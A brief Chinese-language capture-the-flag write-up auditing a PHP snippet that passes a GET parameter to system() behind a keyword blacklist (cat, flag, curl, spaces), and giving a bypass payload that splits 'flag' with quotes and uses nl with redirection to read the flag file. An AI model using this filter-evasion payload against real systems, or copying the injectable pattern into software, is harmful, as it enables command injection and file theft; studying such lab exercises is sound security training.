代码审计
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))//这里增加了过滤%09 &符号{system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}
因为过滤了
%09,就不能绕过空格了,这里用nl进行读取
```shell ?c=nl<fla’’g.php||
nl<flag?php||这样写不行,因为重定向不支持通配符,单引号分隔是Linux的一个特性,执行时会自动忽略单引号
```
